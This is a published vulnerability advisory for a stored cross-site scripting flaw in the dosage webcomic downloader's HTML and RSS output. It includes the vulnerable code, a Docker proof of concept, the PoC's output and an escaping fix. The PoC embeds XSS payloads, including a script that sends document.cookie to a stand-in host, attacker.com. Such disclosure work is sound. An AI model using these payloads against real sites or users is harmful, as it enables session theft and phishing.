PT-2026-56094 · Pypi · Dosage

Published

2026-06-26

·

Updated

2026-06-26

CVSS v3.1

6.1

Medium

VectorAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Summary

The HTML and RSS output handlers in dosagelib/events.py write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.
CWE: CWE-79 - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)

Details

Vulnerable Code Locations

The vulnerability exists in dosagelib/events.py where untrusted content is written to HTML/RSS output without escaping:
1. RSSEventHandler (lines 116-118)
python
# events.py:116-118
if comic.text:
  description += '<br/>%s' % comic.text    # ← Unescaped comic.text
description += '<br/><a href="%s">View Comic Online</a>' % pageUrl # ← Unescaped URL
2. HtmlEventHandler (lines 232, 238)
python
# events.py:232
self.html.write(u'<li><a href="%s">%s</a>
' % (pageUrl, pageUrl)) # ← Unescaped URL

# events.py:238
if text:
  self.html.write(u'<br/>%s
' % text) # ← Unescaped text

Root Cause

  • BasicScraper.fetchText() in scraper.py:422 calls html.unescape() on extracted text
  • The output handlers never call html.escape() before writing to files
  • No sanitization of URLs or text content occurs anywhere in the output pipeline

Data Flow

Malicious webcomic page
  ↓
textSearch XPath extracts content (e.g., img/@title, div text)
  ↓
BasicScraper.fetchText() calls html.unescape()
  ↓
comic.text stored without sanitization
  ↓
HtmlEventHandler/RSSEventHandler writes to file without html.escape()
  ↓
Generated HTML/RSS contains executable JavaScript

PoC

I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.

Prerequisites

  • Docker installed and running

PoC Files

Create these files in a poc/ directory:
1. poc/Dockerfile
dockerfile
FROM python:3.11-slim

LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)"

WORKDIR /app
COPY . /app

# Install dependencies
RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs

# Install dosage
ENV SETUPTOOLS SCM PRETEND VERSION FOR DOSAGE=0.0.0
RUN pip install --no-cache-dir --quiet .

CMD ["python", "poc/poc.py"]
2. poc/poc.py
python
#!/usr/bin/env python3
"""
PoC: Stored XSS in dosage HTML/RSS Output Handlers
Demonstrates that untrusted comic content is written to output files unescaped.
"""

import sys
from pathlib import Path
from types import SimpleNamespace

from dosagelib.events import HtmlEventHandler, RSSEventHandler

# XSS payloads simulating malicious webcomic content
MALICIOUS TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>"
MALICIOUS URL = "javascript:alert('XSS-via-URL')"

def check vulnerability(content: str, marker: str, description: str) -> bool:
  """Check if unescaped marker appears in content."""
  if marker.lower() in content.lower():
    print(f" [VULNERABLE] {description}")
    print(f"        Found unescaped: {marker}")
    return True
  print(f" [SAFE] {description}")
  return False

def main():
  print("=" * 70)
  print("PoC: Stored XSS in dosage HTML/RSS Output Handlers")
  print("=" * 70)
  print()

  base = Path( file ).parent / "output"
  base.mkdir(parents=True, exist ok=True)

  # Create dummy image file
  img path = base / "payload.png"
  img path.write bytes(b"x89PNGr
x1a
")

  # Simulate comic with malicious content
  comic = SimpleNamespace(
    scraper=SimpleNamespace(name="MaliciousComic"),
    referrer=MALICIOUS URL,
    text=MALICIOUS TEXT,
    url="http://example.com/comic.png"
  )

  vulnerabilities found = 0

  # Test RSS Handler
  print("[*] Testing RSSEventHandler...")
  rss handler = RSSEventHandler(str(base), None, False)
  rss handler.start()
  rss handler.comicDownloaded(comic, str(img path))
  rss handler.end()
  
  rss path = Path(rss handler.rssfn)
  rss content = rss path.read text(encoding="utf-8")
  print(f"  Output file: {rss path}")
  
  if check vulnerability(rss content, "javascript:", "pageUrl in RSS href"):
    vulnerabilities found += 1

  # Test HTML Handler 
  print()
  print("[*] Testing HtmlEventHandler...")
  html handler = HtmlEventHandler(str(base), None, False)
  html handler.start()
  html path = Path(html handler.html.name)
  html handler.comicDownloaded(comic, str(img path), text=MALICIOUS TEXT)
  html handler.end()

  html content = html path.read text(encoding="utf-8")
  print(f"  Output file: {html path}")
  
  if check vulnerability(html content, "<script>", "text param in HTML"):
    vulnerabilities found += 1
  if check vulnerability(html content, "javascript:", "pageUrl in HTML link"):
    vulnerabilities found += 1

  # Show vulnerable content
  print()
  print("-" * 70)
  print("Vulnerable Content in Generated HTML:")
  print("-" * 70)
  for line in html content.splitlines():
    if "<script>" in line.lower() or "javascript:" in line.lower():
      print(f" {line}")

  print()
  print("=" * 70)
  print(f"RESULT: {vulnerabilities found} XSS vulnerability vectors confirmed!")
  print("=" * 70)
  
  return 0 if vulnerabilities found > 0 else 1

if  name  == " main ":
  sys.exit(main())
3. poc/run poc.sh
bash
#!/usr/bin/env bash
set -euo pipefail

SCRIPT DIR="$(cd "$(dirname "${BASH SOURCE[0]}")" && pwd)"
ROOT DIR="$(cd "${SCRIPT DIR}/.." && pwd)"

echo "[*] Building PoC Docker image..."
docker build -t dosage-xss-poc -f "${SCRIPT DIR}/Dockerfile" "${ROOT DIR}" --quiet

echo "[*] Running PoC..."
docker run --rm dosage-xss-poc

echo "[*] Cleanup: docker rmi dosage-xss-poc"

Running the PoC

bash
cd /path/to/dosage
chmod +x poc/run poc.sh
./poc/run poc.sh

PoC Output

======================================================================
PoC: Stored XSS in dosage HTML/RSS Output Handlers
======================================================================

[*] Testing RSSEventHandler...
  Output file: /app/poc/output/dailydose.rss
 [VULNERABLE] pageUrl in RSS href
        Found unescaped: javascript:

[*] Testing HtmlEventHandler...
  Output file: /app/poc/output/html/comics-20251210.html
 [VULNERABLE] text param in HTML
        Found unescaped: <script>
 [VULNERABLE] pageUrl in HTML link
        Found unescaped: javascript:

----------------------------------------------------------------------
Vulnerable Content in Generated HTML:
----------------------------------------------------------------------
 <li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a>
 <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>

======================================================================
RESULT: 3 XSS vulnerability vectors confirmed!
======================================================================
The output shows that:
  1. The javascript: URL is written directly into <a href> attributes
  2. The <script> tag from comic text appears unescaped in the HTML body

Impact

Who is affected?

  • Users who use dosage --output html or dosage --output rss options
  • Anyone who opens the generated HTML/RSS files in a browser

Attack scenario

  1. Attacker creates or compromises a webcomic site
  2. Attacker injects JavaScript into image title/alt attributes:
html
<img src="comic.png" title="Funny!<script>alert(1)</script>">
  1. Victim runs: dosage MaliciousComic --output html
  2. The generated Comics/html/comics-YYYYMMDD.html contains the unescaped script
  3. When victim opens the file, JavaScript executes

Potential consequences

  • Cookie theft if files are served over HTTP
  • Local file access via file:// protocol
  • Phishing attacks through DOM manipulation

Recommended Fix

Escape all user-controlled content before writing to HTML/RSS:
python
import html

# In RSSEventHandler.comicDownloaded() - events.py around line 116:
if comic.text:
  description += '<br/>%s' % html.escape(comic.text)
description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl)

# In HtmlEventHandler.comicDownloaded() - events.py around line 232:
self.html.write(u'<li><a href="%s">%s</a>
' % (html.escape(pageUrl), html.escape(pageUrl)))

# events.py around line 238:
if text:
  self.html.write(u'<br/>%s
' % html.escape(text))
For URLs, validating that they use safe protocols (http://, https://) would also help prevent javascript: URLs.

Resources


Fix

XSS

Found an issue in the description? Have something to add? Feel free to write us 👾

Weakness Enumeration

Related Identifiers

GHSA-75MW-H36V-2JV7

Affected Products

Dosage